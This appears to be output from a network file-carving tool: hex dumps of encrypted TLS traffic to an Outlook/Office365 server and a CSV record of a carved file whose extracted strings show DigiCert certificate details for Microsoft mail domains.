b1 96 50 36 27 d8 20 ea 3f e6 87 1d d3 29 f6 78 65 25 e7 26 b4 d1 46 3a 29 ed d7 b8 9e f1 43 f7 85 bb 3a 04 f6 49 19 c2 19 4f 5c ce 61 02 b9 a1 ca 52 1a 8f 65 c2 09 17 40 17 f3 d1 62 82 d4 c7 c2 c9 f7 6e 3c ed e2 25 19 a1 b2 02 1d 55 b5 25 9b d3 55 f1 96 8a 64 55 c4 ba 68 12 33 df 05 ec b2 9a 9e 76 93 cc 55 cf 19 e4 af a4 cf 3e a5 d4 45 60 04 5c 64 0b 39 a8 ef 05 37 b9 df 76 7e 51 31 fb 30 7d 92 a9 eb 3d ff 21 a3 76 3c ce 4a 93 80 b1 c8 17 03 03 00 21 00 00 00 00 00 00 00 05 36 ba 61 ad 70 4f 93 0e 19 aa f8 5a c5 85 c2 ba 34 6a 38 66 b7 2c f6 5b e2 17 03 03 02 76 00 00 00 00 00 00 00 06 a7 f3 41 b0 69 58 23 ac a5 78 e8 4d 10 27 e8 9d 40 86 f7 a7 8a d9 bb db 7a 00 68 f1 40 5d 27 92 38 e0 c3 44 c3 dd 87 16 19 6f 47 76 8f 19 74 d5 63 8c 68 c0 a1 ed 85 4a 32 ec 3f 02 bf 9f 0b 56 34 02 b7 3a 00 66 65 6d c0 4c fa b1 8b 61 56 d4 2a 80 5d 32 59 c0 c7 d9 23 ae 62 9e 70 24 f8 7b 56 2c 41 36 0d 50 a2 c4 c9 d9 49 ca f6 14 d6 79 f8 45 ed 04 11 92 d2 7d e8 b3 73 f9 61 ea 18 73 57 32 87 d3 e5 e6 64 e6 6b db 8b 73 a4 9c d6 ae 8a d9 54 8c 5f b6 7b d7 9f b3 41 48 83 ec 92 f8 55 17 eb a0 44 0e 55 d9 d9 68 cb 02 72 46 f8 1a ec f4 9a bf c9 2b 6e e8 d8 94 e1 4b da c3 ec 5c e9 aa a6 02 98 e3 44 59 a5 ed 58 03 2c 53 e4 eb bc 48 ee f5 78 33 0a 40 19 a5 54 60 c3 91 6f e2 70 ce 08 2f 60 ae 55 f2 03 1b c5 46 15 3f ea b9 ec 9a 8f c7 d9 78 47 c9 56 8b b3 56 47 ef 13 f7 a2 d7 db 14 19 f3 4e 19 0b cd df e6 d8 17 b5 fa 25 46 bb 66 84 ca c1 a0 20 b2 cc 63 4e e7 95 2d 05 7b f2 90 64 a3 8d f8 fa 4f ec e5 0f e8 65 36 6f 50 b2 0d 69 01 44 ed 17 25 e7 e5 bf ca 6e b2 fd 4e 0e 3f 06 87 59 b6 64 79 af e2 97 c3 de 47 9d 88 93 48 fd 26 17 c9 15 f6 c8 18 23 83 8c aa 9a ce 25 59 d3 2c dc e1 14 11 db 71 7d f5 62 8a 46 1e 88 d4 c2 1d 07 70 4a 10 23 75 5b 9e fb 2d 03 00 3e ea 4b 30 a4 0b 79 f9 ec 97 16 a7 3c 8f 4e 01 b8 17 c9 76 3a 2b 67 1d 8c 13 c1 cd 75 cc ee 3a 97 a5 b1 6a 50 7e d5 52 f3 67 3b 8b 65 9e f7 fa e4 fc a1 c2 7c 9b 36 e4 60 99 79 ba d7 5a b1 0d de 51 1e 8f 9b 25 d4 a6 7b 59 aa 48 4a ac 14 69 9a 45 1c 05 87 ba 03 66 94 c7 b7 4b 3e e0 79 dd d1 e9 38 7e 52 a9 46 4e 1c eb 0a b0 93 97 0d a3 b8 e1 07 3a ca 96 3e 73 1b 04 12 ff 9d 16 b4 31 fb 54 0d 8f bb e7 1d d9 70 60 f1 8f 8b 25 e8 c5 0e 21 75 22 f8 29 ec df 29 17 3d dc 49 e8 33 31 58 1b 9e 1b cf 9a d1 42 02 b8 d9 dc fc ac 92 d2 73 3c b9 df 7c c1 3a cf 2d 63 59 5a 45 33 9d ea 48 eb bb 72 2b 2b 4b c8 a3 a5 f1 af 8b b7 ae 43 6f e3 4d 3c c4 10 0a 3f ed 7d 0d dc dd 3f 80 a2 7a f5 1c 3b fc 09 c3 86 cc 1c 04 94 17 03 03 02 6f 00 00 00 00 00 00 00 07 c6 3a 6d a8 40 00 3a df 69 25 ae 82 ac 0b ee 3d 98 9c 50 d6 f7 8f 6c 24 d2 24 dd 71 03 e1 78 39 6e 78 0c c2 c3 92 2f 73 e5 9e b6 72 31 95 ef c4 79 a2 f2 59 e3 b9 bf d2 79 d1 00 c7 60 2d 78 8d 16 04 f8 72 02 03 0e 4b d3 89 51 a8 d0 ae 27 99 9e 66 c6 65 28 7a c4 a1 99 47 33 24 c2 73 88 78 d1 fc 95 13 22 ee 12 e3 b2 c0 b0 45 a8 e6 05 eb 6f ef d2 5f 37 26 60 d1 1c b1 e8 8a de 38 57 9d f9 ae 2c 11 be aa b5 a7 27 2d c0 07 46 74 44 ce 9d 76 4b 61 66 74 80 ef e5 cb e4 a2 75 eb 2b 18 77 b5 bc 73 82 7b f8 4d 86 b6 3a 07 98 a2 ec 16 c6 6d 8c a0 8c 1a 7a b1 9d 32 69 e5 17 56 a2 fb 5a 12 b4 fe 22 10 37 82 b2 8d df 77 ca d2 91 92 1a 08 91 59 75 8e a8 97 69 aa ba 94 3d 70 aa 89 25 64 d4 f3 7c b3 38 ed 7d ea 9a a1 4e c1 9b 0c 24 6d b7 55 0d 9a 9f c7 69 fb e7 70 a4 08 95 cb 64 4d a3 c2 6d 0b 16 48 61 43 79 61 97 dc 97 df 48 ce b5 56 45 3c 5b 3e b1 29 8a eb 9c 99 4f 56 ac 9e 00 64 05 a5 99 0a ba 54 f0 c8 81 a9 c7 fe 69 d2 4a 32 4e 38 dd 57 2e 7f 7e ca df 70 33 a1 c3 f4 0c 36 26 d7 0e 92 4c 09 4e 5d 71 64 2b 42 63 89 97 7d 2b e0 dd 13 f9 93 a4 95 e4 d2 cb cc 41 b8 96 c7 f1 13 1a 99 da 79 59 c7 7f f1 2e c4 4c e7 ff 84 18 81 1e f2 3a 92 ce 98 c9 88 2c 61 26 9e ea 7f ab c8 dd 33 8c 32 de 74 15 70 37 10 28 f9 01 ef 52 4e f1 f2 b6 82 3d 66 a9 a2 70 3f aa 35 9f 83 35 24 bc e6 93 29 50 dd dc 17 da 61 9f 93 9f 03 1d 8f 02 b1 b8 b9 08 41 05 8f c5 cd f4 83 57 dd 9a 26 d0 50 ad 93 3c e9 aa d9 3f b3 4b 90 1b b9 48 60 3b 9e eb f6 b1 fc c6 bd 3d 81 1a c9 0d 9b 20 e1 46 df 62 ce 28 b9 86 b7 db 62 d7 9f a6 05 93 eb 83 bc 5e bf a6 e0 79 d7 c1 91 2e 41 c8 90 e8 9b 95 d6 bf f2 e9 16 f0 f5 49 59 f0 31 5e c9 ea ac f4 82 62 5d f9 9d 98 09 33 d4 dd 68 52 a9 10 77 6d d2 fb e8 28 4d 80 87 e8 79 9c 76 c3 ea 6e f3 ef 79 75 36 1e cd 99 7f b5 10 a8 66 b6 36 44 47 74 be 74 ad b6 6e 8e e7 47 f1 c1 12 69 3d 1c 2d 9b 2e d7 51 37 4e 08 50 8a 0a d8 1f 6b 10 34 db 1c\n2026-06-14T20:09:38.733243,10.152.152.11:64008->52.98.232.34:443,10.152.152.11,64008,52.98.232.34,443,HTTP,carved_10.152.152.11:64008-52.98.232.34:443_bwd_1.gzip,gzip,/tmp/tmpgwhzrm01/carved_files/carved_10.152.152.11:64008-52.98.232.34:443_bwd_1.gzip,6764,c154e6d8d9b25f49cf81bbe7fe747af6,107960d784ff2799fe1b851e935e8a007172f1482299feb9e937e1c97e322d30,7.76,\"iuP6, outlook.com, .hotmail.com, .internal.outlook.com, .live.com, .office.com, .office365.com, .outlook.com, .outlook.office365.com, attachment.outlook.live.net, attachment.outlook.office.net,  attachment.outlook.officeppe.net, attachments.office.net, attachments-sdf.office.net, ccs.login.microsoftonline.com, hotmail.com, mail.services.live.com, office365.com, outlook.office.com, substrate.office.com, substrate-sdf.office.com0>, 70503, 0)0', http://www.digicert.com/CPS0, Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H, Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0, 0y0$, http://ocsp.digicert.com0Q, Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0,  yF)[Ro, DigiCert Inc1, www.digicert.com1 0, DigiCert Global Root G20, 210330000000Z, 310329235959Z0Y1, DigiCert Inc1301, DigiCert Global G2 TLS RSA SHA256 2020 CA10, bRBu, j0h0$, http://ocsp.digicert.com0, 4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B, 0907, 1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0, 6040, MLV_, UZ8r, 20260613071902Z0s0q0I0, 20260613070300Z, 20260620060300Z0, bn2R, [azw, 6w(T, ][lT, 'jUq, hfa3, /u1P, 6ejD, 0GbaZ, fj,/, UnUS, $iXi, b-B$Y, )Pdf, IOy3, kaAi, Zp<1, v- >t9, J_EXm, DnQ$, jyZS, XjQf, HGgMD, 6xam, 1H9Q, uUqj, n]Lt, B<(s, Lbw[, wOtX\",1f 8b d4 55 7c 05 e1 cf 94 70 38 72 b7 65 9d 9d 6b 76 0a 6a 69 34 5e d1 ce 3e ac ed 7f 67 a5 dd 86 02 ec 55 f3 d3 39 9c 74 fa 02 ec 3a 96 8d fe e6 e4 69 75 50 36 a9 3b bc 8c c6 38 f1 da b4 b9 30 2b 89 32 30 a9 b2 38 84 28 60 9b d6 f1 31 ff 09 ca e0 ec 1d 93 61 1b c7 c9 e2 24 8f 79 b2 0c 61 fd ee 2d df 23 1f 4d 4f ac 40 1b 2a b2 d1 0f fe d7 49 e4 23 ed 16 e7 45 3b 76 4c c5 59 f4 0d 43 70 65 10 52 7f bf a6 aa 02 cf e8 dc 87 aa 24 cb e7 09 8c cc fa af 7c 54 7a 88 91 7c 16 15 8b b7 a9 f7 61 85 45 21 fa 88 bf 96 70 20 2c d6 ba 70 de 3e 16 7b 85 de 62 47 35 3f c1 a9 66 b6 55 f7 55 d3 1d d9 e4 04 34 f3 97 9f 41 05 f6 de 78 0b 32 00 f7 7e d3 5e ce 89 d6 0e c1 18 3a a4 bd 02 03 01 00 01 a3 82 05 25 30 82 05 21 30 1f 06 03 55 1d 23 04 18 30 16 80 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 30 1d 06 03 55 1d 0e 04 16 04 14 76 45 e5 c3 cb 9c fe fa 5f fe 24 55 e8 bc 60 dd be aa 93 e1 30 82 01 bd 06 03 55 1d 11 04 82 01 b4 30 82 01 b0 82 0b 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 0d 2a 2e 68 6f 74 6d 61 69 6c 2e 63 6f 6d 82 16 2a 2e 69 6e 74 65 72 6e 61 6c 2e 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 0a 2a 2e 6c 69 76 65 2e 63 6f 6d 82 0c 2a 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 0f 2a 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 0d 2a 2e 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 17 2a 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 1b 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6c 69 76 65 2e 6e 65 74 82 1d 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 6e 65 74 82 20 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 70 70 65 2e 6e 65 74 82 16 61 74 74 61 63 68 6d 65 6e 74 73 2e 6f 66 66 69 63 65 2e 6e 65 74 82 1a 61 74 74 61 63 68 6d 65 6e 74 73 2d 73 64 66 2e 6f 66 66 69 63 65 2e 6e 65 74 82 1d 63 63 73 2e 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 82 0b 68 6f 74 6d 61 69 6c 2e 63 6f 6d 82 16 6d 61 69 6c 2e 73 65 72 76 69 63 65 73 2e 6c 69 76 65 2e 63 6f 6d 82 0d 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 12 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 14 73 75 62 73 74 72 61 74 65 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 18 73 75 62 73 74 72 61 74 65 2d 73 64 66 2e 6f 66 66 69 63 65 2e 63 6f 6d 30 3e 06 03 55 1d 20 04 37 30 35 30 33 06 06 67 81 0c 01 02 02 30 29 30 27 06 08 2b 06 01 05 05 07 02 01 16 1b 68 74 74 70 3a 2f 2f 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 43 50 53 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 05 a0 30 13 06 03 55 1d 25 04 0c 30 0a 06 08 2b 06 01 05 05 07 03 01 30 81 9f 06 03 55 1d 1f 04 81 97 30 81 94 30 48 a0 46 a0 44 86 42 68 74 74 70 3a 2f 2f 63 72 6c 33 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 6c 30 48 a0 46 a0 44 86 42 68 74 74 70 3a 2f 2f 63 72 6c 34 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 6c 30 81 87 06 08 2b 06 01 05 05 07 01 01 04 7b 30 79 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 51 06 08 2b 06 01 05 05 07 30 02 86 45 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 74 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 00 30 82 01 7d 06 0a 2b 06 01 04 01 d6 79 02 04 02 04 82 01 6d 04 82 01 69 01 67 00 76 00 c2 31 7e 57 45 19 a3 45 ee 7f 38 de b2 90 41 eb c7 c2 21 5a 22 bf 7f d5 b5 ad 76 9a d9 0e 52 cd 00 00 01 9d 02 27 fa 81 00 00 04 03 00 47 30 45 02 20 65 03 d2 b3 b9 5c 5a 3a fb 9c 23 6d 63 a4 98 27 a2 3c ff 95 9c 02 b2 86 93 fa 4b 0b a1 ff 79 f3 02 21 00 92 61 07 97 1c 23 5c 13 3a a4 38 1f 9f 19 43 c1 0e 6f 9f 06 5a 00 8a 1c dd 69 c2 4a 3a e8 4e 9e 00 75 00 d8 09 55 3b 94 4f 7a ff c8 16 19 6f 94 4f 85 ab b0 f8 fc 5e 87 55 26 0f 15 d1 2e 72 bb 45 4b 14 00 00 01 9d 02 27 fa b6 00 00 04 03 00 46 30 44 02 20 59 fb 3c ec a6 4c 86 42 f9 03 36 57 0c 90 b3 77 88 e0 61 fd 0e 50 56 d8 98 38 96 d8 9b 8f 18 98 02 20 70 90 7a 4e d1 25 44 ec e6 3d e2 a4 7b 3c 7e 1b bc 48 cd 7f 17 cb 88 71 32 24 fd 1d 05 48 33 33 00 76 00 94 4e 43 87 fa ec c1 ef 81 f3 19 24 26 a8 18 65 01 c7 d3 5f 38 02 01 3f 72 67 7d 55 37 2e 19 d8 00 00 01 9d 02 27 fa 8e 00 00 04 03 00 47 30 45 02 21 00 bd 0d 16 c1 72 d2 97 d7 e7 7a 36 0b 09 f5 ac 4b 96 90 76 78 7a ea a5 e5 dd 33 89 4d 3d 11 80 08 02 20 79 46 29 5b 52 6f b4 44 ae ca 90 48 88 e1 ae da a1 88 ad e2 b5 0a bf b7 05 37 2a d7 60 1a c6 0d 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 c8 d9 9f 18 d8 2d bd 8f df d8 d5 8d d4 40 4d b2 7c 38 25 d1 73 ec 17 50 fc 69 59 6c f7 f7 26 8f 13 f7 b9 82 f0 74 dd ce 49 d3 33 cf 5f 6e 80 24 35 c8 6f 6c 26 58 76 cc 89 56 36 74 1e ec 7a 54 3b d2 b4 f5 83 72 d6 1a 17 1e 67 53 cb 35 bf 16 ba bf 0f ee dd 03 2e c8 5c 7d 8d 80 f5 1c b7 52 09 52 5f 57 ec 8d 10 dd c3 a4 e7 92 30 09 d3 46 34 b8 38 3d 79 f4 61 eb d1 75 2b 81 f5 b7 2c 63 eb c2 d5 ac b1 af 15 97 ae 4f ea 4a 04 e7 46 13 0a a2 23 8f ed 38 e5 e6 42 3e 2a 49 da ee 7f 87 2b 2f 42 10 da d2 be c1 78 d6 dd b3 d1 28 12 da c0 af 73 86 a5 a6 25 3c ae f1 cf d7 03 39 d1 42 e9 52 90 27 4b 6d af f3 41 fe f1 27 5f 1b c0 ec 3b dc 5c 30 36 87 94 28 1a 81 ff da a1 ba 0b 87 86 9f cf 9f 7b c9 74 fb 79 d8 70 c2 20 43 2b de dd 63 d1 d0 71 0a b1 75 8d a5 5e d1 de 17 1b 80 00 04 cc 30 82 04 c8 30 82 03 b0 a0 03 02 01 02 02 10 0c f5 bd 06 2b 56 02 f4 7a b8 50 2c 23 cc f0 66 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 61 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 19 30 17 06 03 55 04 0b 13 10 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 31 20 30 1e 06 03 55 04 03 13 17 44 69 67 69 43 65 72 74 20 47 6c 6f 62 61 6c 20 52 6f 6f 74 20 47 32 30 1e 17 0d 32 31 30 33 33 30 30 30 30 30 30 30 5a 17 0d 33 31 30 33 32 39 32 33 35 39 35 39 5a 30 59 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 33 30 31 06 03 55 04 03 13 2a 44 69 67 69 43 65 72 74 20 47 6c 6f 62 61 6c 20 47 32 20 54 4c 53 20 52 53 41 20 53 48 41 32 35 36 20 32 30 32 30 20 43 41 31 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 cc f7 10 62 4f a6 bb 63 6f ed 90 52 56 c5 6d 27 7b 7a 12 56 8a f1 f4 f9 d6 e7 e1 8f bd 95 ab f2 60 41 15 70 db 12 00 fa 27 0a b5 57 38 5b 7d b2 51 93 71 95 0e 6a 41 94 5b 35 1b fa 7b fa bb c5 be 24 30 fe 56 ef c4 f3 7d 97 e3 14 f5 14 4d cb a7 10 f2 16 ea ab 22 f0 31 22 11 61 69 90 26 ba 78 d9 97 1f e3 7d 66 ab 75 44 95 73 c8 ac ff ef 5d 0a 8a 59 43 e1 ac b2 3a 0f f3 48 fc d7 6b 37 c1 63 dc de 46 d6 db 45 fe 7d 23 fd 90 e8 51 07 1e 51 a3 5f ed 49 46 54 7f 2c 88 c5 f4 13 9c 97 15 3c 03 e8 a1 39 dc 69 0c 32 c1 af 16 57 4c 94 47 42 7c a2 c8 9c 7d e6 d4 4d 54 af 42 99 a8 c1 04 c2 77 9c d6 48 e4 ce 11 e0 2a 80 99 f0 43 70 cf 3f 76 6b d1 4c 49 ab 24 5e c2 0d 82 fd 46 a8 ab 6c 93 cc 62 52 42 75 92 f8 9a fa 5e 5e b2 b0 61 e5 1f 1f b9 7f 09 98 e8 3d fa 83 7f 47 69 a1 02 03 01 00 01 a3 82 01 82 30 82 01 7e 30 12 06 03 55 1d 13 01 01 ff 04 08 30 06 01 01 ff 02 01 00 30 1d 06 03 55 1d 0e 04 16 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 30 1f 06 03 55 1d 23 04 18 30 16 80 14 4e 22 54 20 18 95 e6 e3 6e e6 0f fa fa b9 12 ed 06 17 8f 39 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 01 86 30 1d 06 03 55 1d 25 04 16 30 14 06 08 2b 06 01 05 05 07 03 01 06 08 2b 06 01 05 05 07 03 02 30 76 06 08 2b 06 01 05 05 07 01 01 04 6a 30 68 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 40 06 08 2b 06 01 05 05 07 30 02 86 34 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 52 6f 6f 74 47 32 2e 63 72 74 30 42 06 03 55 1d 1f 04 3b 30 39 30 37 a0 35 a0 33 86 31 68 74 74 70 3a 2f 2f 63 72 6c 33 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 52 6f 6f 74 47 32 2e 63 72 6c 30 3d 06 03 55 1d 20 04 36 30 34 30 0b 06 09 60 86 48 01 86 fd 6c 02 01 30 07 06 05 67 81 0c 01 01 30 08 06 06 67 81 0c 01 02 01 30 08 06 06 67 81 0c 01 02 02 30 08 06 06 67 81 0c 01 02 03 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 90 f1 70 cb 28 97 69 97 7c 74 fd c0 fa 26 7b 53 ab ad cd 65 fd ba 9c 06 9c 8a d7 5a 43 87 ed 4d 4c 56 5f ad c1 c5 b5 05 20 2e 59 d1 ff 4a f5 a0 2a d8 b0 95 ad c9 2e 4a 3b d7 a7 f6 6f 88 29 fc 30 3f 24 84 bb c3 b7 7b 93 07 2c af 87 6b 76 33 ed 00 55 52 b2 59 9e e4 b9 d0 f3 df e7 0f fe dd f8 c4 b9 10 72 81 09 04 5f cf 97 9e 2e 32 75 8e cf 9a 58 d2 57 31 7e 37 01 81 b2 66 6d 29 1a b1 66 09 6d d1 6e 90 f4 b9 fa 2f 01 14 c5 5c 56 64 01 d9 7d 87 a8 38 53 9f 8b 5d 46 6d 5c c6 27 84 81 d4 7e 8c 8c a3 9b 52 e7 c6 88 ec 37 7c 2a fb f0 55 5a 38 72 10 d8 00 13 cf 4c 73 db aa 37 35 a8 29 81 69 9c 76 bc de 18 7b 90 d4 ca cf ef 67 03 fd 04 5a 21 16 b1 ff ea 3f df dc 82 f5 eb f4 59 92 23 0d 24 2a 95 25 4c ca a1 91 e6 d4 b7 ac 87 74 b3 f1 6d a3 99 db f9 d5 bd 84 40 9f 07 98 16 00 01 db 01 00 01 d7 30 82 01 d3 0a 01 00 a0 82 01 cc 30 82 01 c8 06 09 2b 06 01 05 05 07 30 01 01 04 82 01 b9 30 82 01 b5 30 81 9e a2 16 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 18 0f 32 30 32 36 30 36 31 33 30 37 31 39 30 32 5a 30 73 30 71 30 49 30 09 06 05 2b 0e 03 02 1a 05 00 04 14 a7 c4 b8 b3 dc 5b b5 58 1e a7 d7 f1 3a c5 69 f5 6f 48 d7 89 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 02 10 05 90 cb d3 65 66 7f 41 04 a9 a2 69 0c 5b 7c 73 80 00 18 0f 32 30 32 36 30 36 31 33 30 37 30 33 30 30 5a a0 11 18 0f 32 30 32 36 30 36 32 30 30 36 30 33 30 30 5a 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 08 c9 07 4d 0d d3 6a bb 07 ad 04 4c 40 01 d5 c8 27 75 d6 ec 91 53 a3 98 f9 9e 26 09 62 bf 9f 6c 76 ff 62 6e 32 52 7f 2b 85 4b 22 ca 6e be 90 4f 36 76 c4 d8 76 24 e8 49 aa 94 d7 f1 f2 d3 11 53 4c d7 86 87 3f be 79 7e 74 e4 c9 36 08 ad ae f5 61 7f 6e 83 7c 79 3b 3b 99 ab 40 fa f0 d6 fe fe 1e f9 bc 7f 14 13 4e 1d 29 a0 54 15 04 4b 2f a3 1a f6 c2 71 71 da ae 73 93 1d 5c fe 34 b5 0b f9 97 2a eb 5b 61 7a 77 09 7b 90 b1 77 49 19 77 d3 24 85 64 b3 c4 5f 88 5a d2 f3 7a d4 d0 b2 3d ce 87 08 15 bb 4a 42 f6 ce 02 0c 48 0c 1f d7 1a 0a f1 f0 5f 2c 5a 23 23 a2 91 eb c7 27 58 f7 48 ac 41 05 23 52 a5 50 c7 6c c5 3d e8 17 57 b0 22 02 79 90 96 c9 21 82 47 8f 69 dc 25 a4 58 3c 57 08 52 de 3e 80 bb 9e 83 5c 57 c1 1f 58 25 df 1e 15 51 52 b0 02 2d ac 4a e9 13 0d e1 36 77 28 54 94 0c 00 01 69 03 00 18 61 04 5c d0 ec 61 ae 20 61 7b fd 90 d6 79 a2 1a 68 10 4a 8c 75 27 e8 7b a5 fa 69 61 ad 14 18 42 1d 64 8c 46 57 14 fd c4 2c 07 5b 85 4f ba 60 db e0 14 31 99 89 ba 28 d1 49 6a a9 6e 97 ae d6 4a 62 c8 6f 60 a2 95 91 f8 8c b2 ac c6 ef 84 91 41 27 95 4f 6a 80 85 db 6b 96 72 7b 72 a3 06 f8 ee bd 1e 08 04 01 00 8e c3 45 94 0d b2 e9 ed 07 29 2e d6 cd 79 8e ce b1 c0 26 1d e7 53 1a 95 5c 5a fb 6b eb 3b 80 8f 60 83 d3 6f 72 c5 56 96 26 1e ae 9f 16 03 fd 2f 95 37 0a 1b fe fb 2a c4 2a 74 31 1a c3 34 a8 50 b4 2a 14 3f c1 2b 3a 57 10 55 96 fd f3 5e 6e a2 ba ce 1e 28 75 42 84 52 30 40 1b d1 45 ae 3d 23 b5 c6 2f 10 17 fa db b9 00 a8 6e 39 a6 47 5e cc 36 11 41 a6 88 4b bd 75 96 22 30 8f ec 3d 1a e7 55 88 a6 4d 8d 5d 5b 6c 54 89 89 53 46 48 a3 6e 7a fb 71 a6 8a 17 8d 46 ce 29 2a 18 31 6a ec 04 4a 66 99 41 1a 3b af 40 8e dd 67 4d 6d e1 b9 89 30 3b 7f 3b 52 88 6f 89 ce a5 a7 1b cf a1 be 3a 67 93 7d e8 40 36 f6 b3 06 63 7b 31 7a b2 2d c5 08 25 6f f0 d3 f2 9e 5e 78 d3 36 c0 55 07 54 f1 f1 f0 cf 0d 40 22 a3 b7 31 7a e1 a9 4f 11 83 71 e6 0c 13 95 01 f4 1b 18 24 cd db cd 90 6b cd d1 0e 00 00 00 16 03 03 01 2e 04 00 01 2a 00 00 8c a0 01 24 00 00 00 00 0a b6 1c be e7 03 d4 43 bc 0e 09 31 b6 2d e9 e7 bb 83 53 c8 cf dc ac d1 d0 54 ec 69 49 be 81 2e b1 cd 21 88 27 6a 55 71 91 6a db 9a c1 7e c7 0b 7c 5b cf ec 62 db 4f ac 6e 79 73 c3 c2 0d 30 c4 97 14 c9 fa 8a 63 e3 27 e8 61 e0 85 6f a3 c9 5d 3a c7 3c 1b 0e 56 f4 f8 4f 60 b4 52 7c bd 1c 2f 8e a3 bf 54 bc 56 65 5e 3b 98 0b 93 f0 a0 4d f8 db 81 0b c1 00 18 b0 9c 43 5e 3a f3 bb c7 61 68 e2 66 f4 21 b1 9e ee 17 e9 b6 0b cc 71 ce c9 5b 39 7b 75 db 8e 13 03 fd 40 ed bf 56 7a 5a aa 1d f8 f3 63 b9 8f 96 e4 9b cb ec ec 8f 43 42 51 f8 2c 2d 8f 3e 3d 7c ba 27 4b c8 84 41 1b 8e 65 af ab 4b 35 d4 08 fd d6 7c 6d 25 8a c0 7e 36 08 14 16 6b e7 2d 91 d8 6b da ad cf f9 ec cf 58 d6 e8 de 15 a3 30 8d 21 a0 6c b2 ca 40 9d ad 3a 46 b6 14 21 74 1e ed 5a 6e 51 95 e7 4a 6e b8 ef ad bc 9c 0d cc 5d da d3 2a 2a d3 3c 5e e2 9b ef 77 c3 52 39 e3 85 14 49 ca d9 05 00 b7 d6 11 9d 43 d9 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 de de ee 1a be 8c 45 4a b7 68 66 61 33 cf d5 83 c3 43 ca fd 74 83 fb ba cf c3 eb b6 d4 68 00 af 17 03 03 00 40 00 00 00 00 00 00 00 01 ca 44 97 75 4b 1b a0 79 b4 9a 9f 02 f9 92 42 44 a6 f2 92 63 82 68 57 8d 2c db b4 55 34 08 89 a6 43 71 cd be 48 f1 0b 36 48 96 f6 aa bc 42 d0 f8 26 bc 0c 37 d3 7f eb 53 17 03 03 00 21 00 00 00 00 00 00 00 02 d2 2e bc b2 f2 02 b5 1a 3a 0d b4 35 80 2f 75 31 50 b5 da 57 5b 9e df 4d 6a 17 03 03 03 2a 00 00 00 00 00 00 00 03 6d ea cc df 49 15 c4 be 71 00 63 7f 5d 24 0f b3 fc 3f 9e 0e 62 49 4e 40 74 4c 44 e1 9d b0 51 25 b9 2c 06 01 36 65 6a 44 c1 83 fe 02 04 56 5c 33 9b b7 62 a1 05 2a 02 a0 06 95 3a 8d f1 d6 39 0b 21 57 72 f2 2e f4 